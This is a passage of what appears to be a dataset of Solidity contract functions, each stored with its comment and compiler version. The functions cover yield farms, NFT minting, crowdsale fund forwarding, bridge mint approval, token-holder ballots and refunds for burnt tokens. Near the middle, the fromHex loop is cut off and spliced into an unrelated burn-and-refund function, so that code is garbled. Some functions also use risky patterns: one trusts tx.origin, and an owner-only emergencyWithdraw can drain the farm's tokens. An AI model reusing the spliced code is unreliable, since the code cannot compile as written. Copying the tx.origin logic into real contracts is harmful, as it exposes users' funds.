directly; in either case, tx.origin is the user.\n// In the case the call is coming from the mananger, msg.sender is the manager.", "function_code": "function deposit(uint256 _pid, uint256 _amount) external {\r\n require(manager.getPaused()==false, \"deposit: farm paused\");\r\n address userAddress = ((msg.sender == address(manager)) ? tx.origin : msg.sender);\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][userAddress];\r\n require(user.withdrawTime == 0, \"deposit: user is unstaking\");\r\n updatePool(_pid);\r\n if (user.amount > 0) {\r\n uint256 pendingAmount = user.amount.mul(pool.accERC20PerShare).div(1e36).sub(user.rewardDebt);\r\n erc20Transfer(userAddress, pendingAmount);\r\n }\r\n pool.stakingToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n pool.supply = pool.supply.add(_amount);\r\n user.amount = user.amount.add(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accERC20PerShare).div(1e36);\r\n emit Deposit(userAddress, _pid, _amount);\r\n }", "version": "0.7.6"} {"comment": "// Distribute rewards and start unstake period.", "function_code": "function withdraw(uint256 _pid) external {\r\n require(manager.getPaused()==false, \"withdraw: farm paused\");\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n require(user.amount > 0, \"withdraw: amount must be greater than 0\");\r\n require(user.withdrawTime == 0, \"withdraw: user is unstaking\");\r\n updatePool(_pid);\r\n\r\n // transfer any rewards due\r\n uint256 pendingAmount = user.amount.mul(pool.accERC20PerShare).div(1e36).sub(user.rewardDebt);\r\n erc20Transfer(msg.sender, pendingAmount);\r\n pool.supply = pool.supply.sub(user.amount);\r\n user.rewardDebt = 0;\r\n user.withdrawTime = block.timestamp;\r\n emit Withdraw(msg.sender, _pid);\r\n }", "version": "0.7.6"} {"comment": "// unstake LP tokens from Farm. if done within \"unstakeEpochs\" days, apply burn.", "function_code": "function unstake(uint256 _pid) external {\r\n require(manager.getPaused()==false, \"unstake: farm paused\");\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n require(user.withdrawTime > 0, \"unstake: user is not unstaking\");\r\n updatePool(_pid);\r\n //apply burn fee if unstaking before unstake epochs.\r\n uint256 unstakeEpochs = manager.getUnstakeEpochs();\r\n uint256 burnRate = manager.getBurnRate();\r\n address redistributor = manager.getRedistributor();\r\n if((user.withdrawTime.add(SECS_EPOCH.mul(unstakeEpochs)) > block.timestamp) && burnRate > 0){\r\n uint penalty = user.amount.div(1000).mul(burnRate);\r\n user.amount = user.amount.sub(penalty);\r\n // if the staking address is an LP, send 50% of penalty to redistributor, and 50% to lp lock address.\r\n if(pool.isLP){\r\n pool.stakingToken.safeTransfer(redistributor, penalty.div(2));\r\n pool.stakingToken.safeTransfer(manager.getLpLock(), penalty.div(2));\r\n }else {\r\n // for normal ERC20 tokens, 50% of the penalty is sent to the redistributor address, 50% is burned from the supply.\r\n pool.stakingToken.safeTransfer(redistributor, penalty.div(2));\r\n IBurnable(address(pool.stakingToken)).burn(penalty.div(2));\r\n }\r\n }\r\n uint userAmount = user.amount;\r\n // allows user to stake again.\r\n user.withdrawTime = 0;\r\n user.amount = 0;\r\n pool.stakingToken.safeTransfer(address(msg.sender), userAmount);\r\n emit Unstake(msg.sender, _pid);\r\n }", "version": "0.7.6"} {"comment": "// claim LP tokens from Farm.", "function_code": "function claim(uint256 _pid) external {\r\n require(manager.getPaused() == false, \"claim: farm paused\");\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n require(user.amount > 0, \"claim: amount is equal to 0\");\r\n require(user.withdrawTime == 0, \"claim: user is unstaking\");\r\n updatePool(_pid);\r\n uint256 pendingAmount = user.amount.mul(pool.accERC20PerShare).div(1e36).sub(user.rewardDebt);\r\n erc20Transfer(msg.sender, pendingAmount);\r\n user.rewardDebt = user.amount.mul(pool.accERC20PerShare).div(1e36);\r\n user.lastClaimTime = block.timestamp;\r\n emit Claim(msg.sender, _pid);\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * Initialize the farming contract. This is called only once upon farm creation and the FarmGenerator\r\n * ensures the farm has the correct paramaters\r\n *\r\n * @param _rewardToken Instance of reward token contract\r\n * @param _amount Total sum of reward\r\n * @param _lpToken Instance of LP token contract\r\n * @param _blockReward Reward per block\r\n * @param _startBlock Block number to start reward\r\n * @param _bonusEndBlock Block number to end the bonus reward\r\n * @param _bonus Bonus multipler which will be applied until bonus end block\r\n */", "function_code": "function init(\r\n IERC20 _rewardToken,\r\n uint256 _amount,\r\n IERC20 _lpToken,\r\n uint256 _blockReward,\r\n uint256 _startBlock,\r\n uint256 _endBlock,\r\n uint256 _bonusEndBlock,\r\n uint256 _bonus\r\n ) external {\r\n require(msg.sender == address(farmGenerator), \"FORBIDDEN\");\r\n\r\n _rewardToken.safeTransferFrom(msg.sender, address(this), _amount);\r\n farmInfo.rewardToken = _rewardToken;\r\n\r\n farmInfo.startBlock = _startBlock;\r\n farmInfo.blockReward = _blockReward;\r\n farmInfo.bonusEndBlock = _bonusEndBlock;\r\n farmInfo.bonus = _bonus;\r\n\r\n uint256 lastRewardBlock = block.number > _startBlock ? block.number : _startBlock;\r\n farmInfo.lpToken = _lpToken;\r\n farmInfo.lastRewardBlock = lastRewardBlock;\r\n farmInfo.accRewardPerShare = 0;\r\n\r\n farmInfo.endBlock = _endBlock;\r\n farmInfo.farmableSupply = _amount;\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Updates pool information to be up to date to the current block\r\n */", "function_code": "function updatePool() public {\r\n if (block.number <= farmInfo.lastRewardBlock) {\r\n return;\r\n }\r\n uint256 lpSupply = farmInfo.lpToken.balanceOf(address(this));\r\n if (lpSupply == 0) {\r\n farmInfo.lastRewardBlock = block.number < farmInfo.endBlock ? block.number : farmInfo.endBlock;\r\n return;\r\n }\r\n uint256 multiplier = getMultiplier(farmInfo.lastRewardBlock, block.number);\r\n uint256 tokenReward = multiplier.mul(farmInfo.blockReward);\r\n farmInfo.accRewardPerShare = farmInfo.accRewardPerShare.add(tokenReward.mul(1e12).div(lpSupply));\r\n farmInfo.lastRewardBlock = block.number < farmInfo.endBlock ? block.number : farmInfo.endBlock;\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Deposit LP token function for msg.sender\r\n *\r\n * @param _amount the total deposit amount\r\n */", "function_code": "function deposit(uint256 _amount) external {\r\n UserInfo storage user = userInfo[msg.sender];\r\n updatePool();\r\n if (user.amount > 0) {\r\n uint256 pending = user.amount.mul(farmInfo.accRewardPerShare).div(1e12).sub(user.rewardDebt);\r\n _safeRewardTransfer(msg.sender, pending);\r\n }\r\n if (user.amount == 0 && _amount > 0) {\r\n factory.userEnteredFarm(msg.sender);\r\n farmInfo.numFarmers++;\r\n }\r\n farmInfo.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n user.amount = user.amount.add(_amount);\r\n user.rewardDebt = user.amount.mul(farmInfo.accRewardPerShare).div(1e12);\r\n emit Deposit(msg.sender, _amount);\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Withdraw LP token function for msg.sender\r\n *\r\n * @param _amount the total withdrawable amount\r\n */", "function_code": "function withdraw(uint256 _amount) external {\r\n UserInfo storage user = userInfo[msg.sender];\r\n require(user.amount >= _amount, \"INSUFFICIENT\");\r\n updatePool();\r\n if (user.amount == _amount && _amount > 0) {\r\n factory.userLeftFarm(msg.sender);\r\n farmInfo.numFarmers--;\r\n }\r\n uint256 pending = user.amount.mul(farmInfo.accRewardPerShare).div(1e12).sub(user.rewardDebt);\r\n _safeRewardTransfer(msg.sender, pending);\r\n user.amount = user.amount.sub(_amount);\r\n user.rewardDebt = user.amount.mul(farmInfo.accRewardPerShare).div(1e12);\r\n farmInfo.lpToken.safeTransfer(address(msg.sender), _amount);\r\n emit Withdraw(msg.sender, _amount);\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Withdraw tokens emergency.\r\n *\r\n * @param _token Token contract address\r\n * @param _to Address where the token withdraw to\r\n * @param _amount Amount of tokens to withdraw\r\n */", "function_code": "function emergencyWithdraw(address _token, address _to, uint256 _amount) external onlyOwner {\r\n IERC20 erc20Token = IERC20(_token);\r\n require(erc20Token.balanceOf(address(this)) > 0, \"Insufficient balane\");\r\n\r\n uint256 amountToWithdraw = _amount;\r\n if (_amount == 0) {\r\n amountToWithdraw = erc20Token.balanceOf(address(this));\r\n }\r\n erc20Token.safeTransfer(_to, amountToWithdraw);\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Get the reward multiplier over the given _from_block until _to block\r\n *\r\n * @param _fromBlock the start of the period to measure rewards for\r\n * @param _to the end of the period to measure rewards for\r\n *\r\n * @return The weighted multiplier for the given period\r\n */", "function_code": "function getMultiplier(uint256 _fromBlock, uint256 _to) public view returns (uint256) {\r\n uint256 _from = _fromBlock >= farmInfo.startBlock ? _fromBlock : farmInfo.startBlock;\r\n uint256 to = farmInfo.endBlock > _to ? _to : farmInfo.endBlock;\r\n if (to <= farmInfo.bonusEndBlock) {\r\n return to.sub(_from).mul(farmInfo.bonus);\r\n } else if (_from >= farmInfo.bonusEndBlock) {\r\n return to.sub(_from);\r\n } else {\r\n return farmInfo.bonusEndBlock.sub(_from).mul(farmInfo.bonus).add(\r\n to.sub(farmInfo.bonusEndBlock)\r\n );\r\n }\r\n }", "version": "0.6.10"} {"comment": "/**\r\n * Function to see accumulated balance of reward token for specified user\r\n *\r\n * @param _user the user for whom unclaimed tokens will be shown\r\n *\r\n * @return total amount of withdrawable reward tokens\r\n */", "function_code": "function pendingReward(address _user) external view returns (uint256) {\r\n UserInfo storage user = userInfo[_user];\r\n uint256 accRewardPerShare = farmInfo.accRewardPerShare;\r\n uint256 lpSupply = farmInfo.lpToken.balanceOf(address(this));\r\n if (block.number > farmInfo.lastRewardBlock && lpSupply != 0) {\r\n uint256 multiplier = getMultiplier(farmInfo.lastRewardBlock, block.number);\r\n uint256 tokenReward = multiplier.mul(farmInfo.blockReward);\r\n accRewardPerShare = accRewardPerShare.add(tokenReward.mul(1e12).div(lpSupply));\r\n }\r\n return user.amount.mul(accRewardPerShare).div(1e12).sub(user.rewardDebt);\r\n }", "version": "0.6.10"} {"comment": "// END ONLY COLLABORATORS", "function_code": "function mint() external payable callerIsUser mintStarted {\r\n require(msg.value >= claimPrice, \"Not enough Ether to mint a cube\");\r\n\r\n require(\r\n claimedTokenPerWallet[msg.sender] < maxClaimsPerWallet,\r\n \"You cannot claim more cubes.\"\r\n );\r\n\r\n require(totalMintedTokens < totalTokens, \"No cubes left to be minted\");\r\n\r\n claimedTokenPerWallet[msg.sender]++;\r\n \r\n _mint(msg.sender, totalMintedTokens);\r\n \r\n totalMintedTokens++;\r\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Overrides Crowdsale fund forwarding, sending funds to vault.\r\n */", "function_code": "function _forwardFunds() internal {\r\n vault.deposit.value(msg.value)(msg.sender);\r\n if(!advIsCalc &&_getInStageIndex () > 0 && goalReached() && advWallet != address(0))\r\n {\r\n //Send ETH to advisor, after to stage 1\r\n uint256 advAmount = 0;\r\n advIsCalc = true;\r\n advAmount = weiRaised.mul(advPercent).div(100);\r\n vault.depositAdvisor(advWallet, advAmount);\r\n }\r\n }", "version": "0.4.21"} {"comment": "/**\r\n @notice trustee will call the function to approve mint bToken\r\n @param _txid the transaction id of bitcoin\r\n @param _amount the amount to mint, 1BTC = 1bBTC = 1*10**18 weibBTC\r\n @param to mint to the address\r\n */", "function_code": "function approveMint(\r\n bytes32 _tunnelKey,\r\n string memory _txid,\r\n uint256 _amount,\r\n address to,\r\n string memory assetAddress\r\n ) public override whenNotPaused whenTunnelNotPause(_tunnelKey) onlyTrustee {\r\n if(to == address(0)) {\r\n if (approveFlag[_txid] == false) {\r\n approveFlag[_txid] = true;\r\n emit ETHAddressNotExist(_tunnelKey, _txid, _amount, to, msg.sender, assetAddress);\r\n }\r\n return;\r\n }\r\n \r\n uint256 trusteeCount = getRoleMemberCount(TRUSTEE_ROLE);\r\n bool shouldMint = mintProposal().approve(\r\n _tunnelKey,\r\n _txid,\r\n _amount,\r\n to,\r\n msg.sender,\r\n trusteeCount\r\n );\r\n if (!shouldMint) {\r\n return;\r\n }\r\n uint256 canIssueAmount = tunnel(_tunnelKey).canIssueAmount();\r\n bytes32 bTokenSymbolKey = tunnel(_tunnelKey).oTokenKey();\r\n if (_amount.add(btoken(bTokenSymbolKey).totalSupply()) > canIssueAmount) {\r\n emit NotEnoughPledgeValue(\r\n _tunnelKey,\r\n _txid,\r\n _amount,\r\n to,\r\n msg.sender,\r\n assetAddress\r\n );\r\n return;\r\n }\r\n // fee calculate in tunnel\r\n tunnel(_tunnelKey).issue(to, _amount);\r\n\r\n uint borMintAmount = calculateMintBORAmount(_tunnelKey, _amount);\r\n if(borMintAmount != 0) {\r\n amountByMint = amountByMint.add(borMintAmount);\r\n borERC20().transferFrom(mine, to, borMintAmount);\r\n }\r\n emit ApproveMintSuccess(_tunnelKey, _txid, _amount, to, assetAddress);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Set the trust claim (msg.sender trusts subject)\r\n * @param _subject The trusted address\r\n */", "function_code": "function trust(address _subject) public onlyVoters {\r\n require(msg.sender != _subject);\r\n require(token != MintableTokenStub(0));\r\n if (!trustRegistry[_subject].trustedBy[msg.sender]) {\r\n trustRegistry[_subject].trustedBy[msg.sender] = true;\r\n trustRegistry[_subject].totalTrust = trustRegistry[_subject].totalTrust.add(1);\r\n emit TrustSet(msg.sender, _subject);\r\n if (!voter[_subject] && isMajority(trustRegistry[_subject].totalTrust)) {\r\n voter[_subject] = true;\r\n voters = voters.add(1);\r\n emit VoteGranted(_subject);\r\n }\r\n return;\r\n }\r\n revert();\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Unset the trust claim (msg.sender now reclaims trust from subject)\r\n * @param _subject The address of trustee to revoke trust\r\n */", "function_code": "function untrust(address _subject) public onlyVoters {\r\n require(token != MintableTokenStub(0));\r\n if (trustRegistry[_subject].trustedBy[msg.sender]) {\r\n trustRegistry[_subject].trustedBy[msg.sender] = false;\r\n trustRegistry[_subject].totalTrust = trustRegistry[_subject].totalTrust.sub(1);\r\n emit TrustUnset(msg.sender, _subject);\r\n if (voter[_subject] && !isMajority(trustRegistry[_subject].totalTrust)) {\r\n voter[_subject] = false;\r\n // ToDo SafeMath\r\n voters = voters.sub(1);\r\n emit VoteRevoked(_subject);\r\n }\r\n return;\r\n }\r\n revert();\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Proxy function to vote and mint tokens\r\n * @param to The address that will receive the minted tokens.\r\n * @param amount The amount of tokens to mint.\r\n * @param batchCode The detailed information on a batch.\r\n * @return A boolean that indicates if the operation was successful.\r\n */", "function_code": "function mint(\r\n address to,\r\n uint256 amount,\r\n string batchCode\r\n )\r\n public\r\n onlyVoters\r\n returns (bool)\r\n {\r\n bytes32 proposalHash = keccak256(abi.encodePacked(to, amount, batchCode));\r\n assert(!mintProposal[proposalHash].executed);\r\n if (!mintProposal[proposalHash].voted[msg.sender]) {\r\n if (mintProposal[proposalHash].numberOfVotes == 0) {\r\n emit MintProposalAdded(proposalHash, to, amount, batchCode);\r\n }\r\n mintProposal[proposalHash].numberOfVotes = mintProposal[proposalHash].numberOfVotes.add(1);\r\n mintProposal[proposalHash].voted[msg.sender] = true;\r\n emit MintProposalVoted(proposalHash, msg.sender, mintProposal[proposalHash].numberOfVotes);\r\n }\r\n if (isMajority(mintProposal[proposalHash].numberOfVotes)) {\r\n mintProposal[proposalHash].executed = true;\r\n token.mint(to, amount);\r\n emit MintProposalExecuted(proposalHash, to, amount, batchCode);\r\n }\r\n return (true);\r\n }", "version": "0.4.25"} {"comment": "/* Transfer an amount from the owner's account to an indicated account */", "function_code": "function transfer(address _to, uint256 _amount) returns (bool success) {\r\n if (balances[msg.sender] >= _amount\r\n && _amount > 0\r\n && balances[_to] + _amount > balances[_to]\r\n && (! accountHasCurrentVote(msg.sender))) {\r\n balances[msg.sender] -= _amount;\r\n balances[_to] += _amount;\r\n Transfer(msg.sender, _to, _amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.11"} {"comment": "/* Create a new ballot and set the basic details (proposal description, dates)\r\n * The ballot still need to have options added and then to be sealed\r\n */", "function_code": "function adminAddBallot(string _proposal, uint256 _start, uint256 _end) {\r\n\r\n /* Admin functions must be called by the contract creator. */\r\n require(msg.sender == m_administrator);\r\n\r\n /* Create and store the new ballot objects */\r\n numBallots++;\r\n uint32 ballotId = numBallots;\r\n ballotNames[ballotId] = _proposal;\r\n ballotDetails[ballotId] = BallotDetails(_start, _end, 0, false);\r\n }", "version": "0.4.11"} {"comment": "/* Add an option to an existing Ballot\r\n */", "function_code": "function adminAddBallotOption(uint32 _ballotId, string _option) {\r\n\r\n /* Admin functions must be called by the contract creator. */\r\n require(msg.sender == m_administrator);\r\n\r\n /* verify that the ballot exists */\r\n require(_ballotId > 0 && _ballotId <= numBallots);\r\n\r\n /* cannot change a ballot once it is sealed */\r\n if(isBallotSealed(_ballotId)) {\r\n revert();\r\n }\r\n\r\n /* store the new ballot option */\r\n ballotDetails[_ballotId].numOptions += 1;\r\n uint32 optionId = ballotDetails[_ballotId].numOptions;\r\n ballotOptions[_ballotId][optionId] = _option;\r\n }", "version": "0.4.11"} {"comment": "//Admin address", "function_code": "function changeAdmin(address newAdmin) public returns (bool) {\r\n require(msg.sender == admin);\r\n require(newAdmin != address(0));\r\n uint256 balAdmin = balances[admin];\r\n balances[newAdmin] = balances[newAdmin].add(balAdmin);\r\n balances[admin] = 0;\r\n admin = newAdmin;\r\n emit Transfer(admin, newAdmin, balAdmin);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/* Amend and option in an existing Ballot\r\n */", "function_code": "function adminEditBallotOption(uint32 _ballotId, uint32 _optionId, string _option) {\r\n\r\n /* Admin functions must be called by the contract creator. */\r\n require(msg.sender == m_administrator);\r\n\r\n /* verify that the ballot exists */\r\n require(_ballotId > 0 && _ballotId <= numBallots);\r\n\r\n /* cannot change a ballot once it is sealed */\r\n if(isBallotSealed(_ballotId)) {\r\n revert();\r\n }\r\n\r\n /* validate the ballot option */\r\n require(_optionId > 0 && _optionId <= ballotDetails[_ballotId].numOptions);\r\n\r\n /* update the ballot option */\r\n ballotOptions[_ballotId][_optionId] = _option;\r\n }", "version": "0.4.11"} {"comment": "/* Seal a ballot - after this the ballot is official and no changes can be made.\r\n */", "function_code": "function adminSealBallot(uint32 _ballotId) {\r\n\r\n /* Admin functions must be called by the contract creator. */\r\n require(msg.sender == m_administrator);\r\n\r\n /* verify that the ballot exists */\r\n require(_ballotId > 0 && _ballotId <= numBallots);\r\n\r\n /* cannot change a ballot once it is sealed */\r\n if(isBallotSealed(_ballotId)) {\r\n revert();\r\n }\r\n\r\n /* set the ballot seal flag */\r\n ballotDetails[_ballotId].sealed = true;\r\n }", "version": "0.4.11"} {"comment": "/* function to allow a coin holder add to the vote count of an option in an\r\n * active ballot. The votes added equals the balance of the account. Once this is called successfully\r\n * the coins cannot be transferred out of the account until the end of the ballot.\r\n *\r\n * NB: The timing of the start and end of the voting period is determined by\r\n * the timestamp of the block in which the transaction is included. As given by\r\n * the current Ethereum standard this is *NOT* guaranteed to be accurate to any\r\n * given external time source. Therefore, votes should be placed well in advance\r\n * of the UTC end time of the Ballot.\r\n */", "function_code": "function vote(uint32 _ballotId, uint32 _selectedOptionId) {\r\n\r\n /* verify that the ballot exists */\r\n require(_ballotId > 0 && _ballotId <= numBallots);\r\n\r\n /* Ballot must be in progress in order to vote */\r\n require(isBallotInProgress(_ballotId));\r\n\r\n /* Calculate the balance which which the coin holder has not yet voted, which is the difference between\r\n * the current balance for the senders address and the amount they already voted in this ballot.\r\n * If the difference is zero, this attempt to vote will fail.\r\n */\r\n uint256 votableBalance = balanceOf(msg.sender) - ballotVoters[_ballotId][msg.sender];\r\n require(votableBalance > 0);\r\n\r\n /* validate the ballot option */\r\n require(_selectedOptionId > 0 && _selectedOptionId <= ballotDetails[_ballotId].numOptions);\r\n\r\n /* update the vote count and record the voter */\r\n ballotVoteCount[_ballotId][_selectedOptionId] += votableBalance;\r\n ballotVoters[_ballotId][msg.sender] += votableBalance;\r\n }", "version": "0.4.11"} {"comment": "/**\n * @dev Checks if a signature is valid for a given signer and data hash. If the signer is a smart contract, the\n * signature is validated against that smart contract using ERC1271, otherwise it's validated using `ECDSA.recover`.\n *\n * NOTE: Unlike ECDSA signatures, contract signatures are revocable, and the outcome of this function can thus\n * change through time. It could return true at block N and false at block N+1 (or the opposite).\n */", "function_code": "function isValidSignatureNow(\n address signer,\n bytes32 hash,\n bytes memory signature\n ) internal view returns (bool) {\n (address recovered, ECDSA.RecoverError error) = ECDSA.tryRecover(hash, signature);\n if (error == ECDSA.RecoverError.NoError && recovered == signer) {\n return true;\n }\n\n (bool success, bytes memory result) = signer.staticcall(\n abi.encodeWithSelector(IERC1271.isValidSignature.selector, hash, signature)\n );\n return (success && result.length == 32 && abi.decode(result, (bytes4)) == IERC1271.isValidSignature.selector);\n }", "version": "0.8.9"} {"comment": "// Convert an hexadecimal character to their value", "function_code": "function fromHexChar(uint8 c) public pure returns (uint8) {\r\n if (bytes1(c) >= bytes1('0') && bytes1(c) <= bytes1('9')) {\r\n return c - uint8(bytes1('0'));\r\n }\r\n if (bytes1(c) >= bytes1('a') && bytes1(c) <= bytes1('f')) {\r\n return 10 + c - uint8(bytes1('a'));\r\n }\r\n if (bytes1(c) >= bytes1('A') && bytes1(c) <= bytes1('F')) {\r\n return 10 + c - uint8(bytes1('A'));\r\n }\r\n require(false, \"unknown variant\");\r\n }", "version": "0.7.6"} {"comment": "// Convert an hexadecimal string to raw bytes", "function_code": "function fromHex(string memory s) public pure returns (bytes memory) {\r\n bytes memory ss = bytes(s);\r\n require(ss.length%2 == 0); // length must be even\r\n bytes memory r = new bytes(ss.length/2);\r\n for (uint i=0; i 0, \"Not Allowed value\");\r\n\r\n uint256 topay_value = value.mul(_token_exchange_rate).div(10 ** 18);\r\n BurningRequiredValues(value, topay_value, address(this), address(this).balance);\r\n require(address(this).balance >= topay_value, \"Insufficient funds\");\r\n\r\n require(token.transferFrom(sender, address(0), value), \"Insufficient approve() value\");\r\n\r\n if (_burnt_amounts[sender] == 0) {\r\n _participants.push(sender);\r\n }\r\n\r\n _burnt_amounts[sender] = _burnt_amounts[sender].add(value);\r\n _totalburnt = _totalburnt.add(value);\r\n\r\n (bool success,) = sender.call{value : topay_value}(\"\");\r\n require(success, \"Transfer failed\");\r\n emit LogRefundValue(msg.sender, topay_value);\r\n }", "version": "0.7.6"} {"comment": "// View function to see pending votess on frontend.", "function_code": "function pendingvotes(uint256 _pid, address _user) external view returns (uint256) {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][_user];\r\n uint256 accVotesPerShare = pool.accVotesPerShare;\r\n uint256 lpSupply = pool.lpToken.balanceOf(address(this));\r\n if (block.number > pool.lastRewardBlock && lpSupply != 0) {\r\n uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);\r\n uint256 votesReward = multiplier.mul(votesPerBlock).mul(pool.allocPoint).div(totalAllocPoint);\r\n accVotesPerShare = accVotesPerShare.add(votesReward.mul(1e12).div(lpSupply));\r\n }\r\n return user.amount.mul(accVotesPerShare).div(1e12).sub(user.rewardDebt);\r\n }", "version": "0.6.12"} {"comment": "// if somebody accidentally sends tokens to this SC directly you may use\n// burnTokensTransferredDirectly(params: tokenholder ETH address, amount in\n// uint256)", "function_code": "function refundTokensTransferredDirectly(address payable participant, uint256 value) external selfCall {\r\n uint256 i = getCurrentPhaseIndex();\r\n require(i == 1, \"Not Allowed phase\");\r\n // First phase\r\n\r\n uint256 topay_value = value.mul(_token_exchange_rate).div(10 ** uint256(token.decimals()));\r\n require(address(this).balance >= topay_value, \"Insufficient funds\");\r\n\r\n require(token.transfer(address(0), value), \"Error with transfer\");\r\n\r\n if (_burnt_amounts[participant] == 0) {\r\n _participants.push(participant);\r\n }\r\n\r\n _burnt_amounts[participant] = _burnt_amounts[participant].add(value);\r\n _totalburnt = _totalburnt.add(value);\r\n\r\n (bool success,) = participant.call{value : topay_value}(\"\");\r\n require(success, \"Transfer failed\");\r\n emit LogRefundValue(participant, topay_value);\r\n }", "version": "0.7.6"} {"comment": "// Deposit LP tokens to VotesPrinter for votes allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n updatePool(_pid);\r\n if (user.amount > 0) {\r\n uint256 pending = user.amount.mul(pool.accVotesPerShare).div(1e12).sub(user.rewardDebt);\r\n safevotesTransfer(msg.sender, pending);\r\n }\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n user.amount = user.amount.add(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accVotesPerShare).div(1e12);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "// Withdraw LP tokens from VotesPrinter.", "function_code": "function withdraw(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n require(user.amount >= _amount, \"withdraw: not good\");\r\n updatePool(_pid);\r\n uint256 pending = user.amount.mul(pool.accVotesPerShare).div(1e12).sub(user.rewardDebt);\r\n safevotesTransfer(msg.sender, pending);\r\n user.amount = user.amount.sub(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accVotesPerShare).div(1e12);\r\n pool.lpToken.safeTransfer(address(msg.sender), _amount);\r\n emit Withdraw(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Determine the endBlock based on inputs. Used on the front end to show the exact settings the Farm contract will be deployed with\n */", "function_code": "function determineEndBlock(uint256 _amount, uint256 _blockReward, uint256 _startBlock, uint256 _bonusEndBlock, uint256 _bonus) public pure returns (uint256, uint256) {\n FarmParameters memory params;\n params.bonusBlocks = _bonusEndBlock.sub(_startBlock);\n params.totalBonusReward = params.bonusBlocks.mul(_bonus).mul(_blockReward);\n params.numBlocks = _amount.sub(params.totalBonusReward).div(_blockReward);\n params.endBlock = params.numBlocks.add(params.bonusBlocks).add(_startBlock);\n\n uint256 nonBonusBlocks = params.endBlock.sub(_bonusEndBlock);\n uint256 effectiveBlocks = params.bonusBlocks.mul(_bonus).add(nonBonusBlocks);\n uint256 requiredAmount = _blockReward.mul(effectiveBlocks);\n return (params.endBlock, requiredAmount);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Determine the blockReward based on inputs specifying an end date. Used on the front end to show the exact settings the Farm contract will be deployed with\n */", "function_code": "function determineBlockReward(uint256 _amount, uint256 _startBlock, uint256 _bonusEndBlock, uint256 _bonus, uint256 _endBlock) public pure returns (uint256, uint256) {\n uint256 bonusBlocks = _bonusEndBlock.sub(_startBlock);\n uint256 nonBonusBlocks = _endBlock.sub(_bonusEndBlock);\n uint256 effectiveBlocks = bonusBlocks.mul(_bonus).add(nonBonusBlocks);\n uint256 blockReward = _amount.div(effectiveBlocks);\n uint256 requiredAmount = blockReward.mul(effectiveBlocks);\n return (blockReward, requiredAmount);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Creates a new FarmUniswap contract and registers it in the\n * .sol. All farming rewards are locked in the FarmUniswap Contract\n */", "function_code": "function createFarmUniswap(IERC20 _rewardToken, uint256 _amount, IERC20 _lpToken, IUniFactory _swapFactory, uint256 _blockReward, uint256 _startBlock, uint256 _bonusEndBlock, uint256 _bonus) public onlyOwner returns (address){\n require(_startBlock > block.number, 'START'); // ideally at least 24 hours more to give farmers time\n require(_bonus > 0, 'BONUS');\n require(address(_rewardToken) != address(0), 'REWARD TOKEN');\n require(_blockReward > 1000, 'BLOCK REWARD'); // minimum 1000 divisibility per block reward\n IUniFactory swapFactory = _swapFactory;\n // ensure this pair is on swapFactory by querying the factory\n IUniswapV2Pair lpair = IUniswapV2Pair(address(_lpToken));\n address factoryPairAddress = swapFactory.getPair(lpair.token0(), lpair.token1());\n require(factoryPairAddress == address(_lpToken), 'This pair is not on _swapFactory exchange');\n\n FarmParameters memory params;\n (params.endBlock, params.requiredAmount) = determineEndBlock(_amount, _blockReward, _startBlock, _bonusEndBlock, _bonus);\n\n TransferHelper.safeTransferFrom(address(_rewardToken), address(_msgSender()), address(this), params.requiredAmount);\n FarmUniswap newFarm = new FarmUniswap(address(factory), address(this));\n TransferHelper.safeApprove(address(_rewardToken), address(newFarm), params.requiredAmount);\n newFarm.init(_rewardToken, params.requiredAmount, _lpToken, _blockReward, _startBlock, params.endBlock, _bonusEndBlock, _bonus);\n\n factory.registerFarm(address(newFarm));\n return (address(newFarm));\n }", "version": "0.6.12"} {"comment": "// This is a final distribution after phase 2 is fihished, everyone who left the\n// request with register() method will get remaining ETH amount\n// in proportion to their exchanged tokens", "function_code": "function startFinalDistribution(uint256 start_index, uint256 end_index) external onlyOwnerOrAdmin {\r\n require(end_index < getNumberOfParticipants());\r\n \r\n uint256 j = getCurrentPhaseIndex();\r\n require(j == 3 && !phases[j].IS_FINISHED, \"Not Allowed phase\");\r\n // Final Phase\r\n\r\n uint256 pointfix = 1000000000000000000;\r\n // 10^18\r\n\r\n for (uint i = start_index; i <= end_index; i++) {\r\n if(!isRegistration(_participants[i]) || isFinalWithdraw(_participants[i])){\r\n continue;\r\n }\r\n \r\n uint256 piece = getBurntAmountByAddress(_participants[i]).mul(pointfix).div(sum_burnt_amount_registered);\r\n uint256 value = 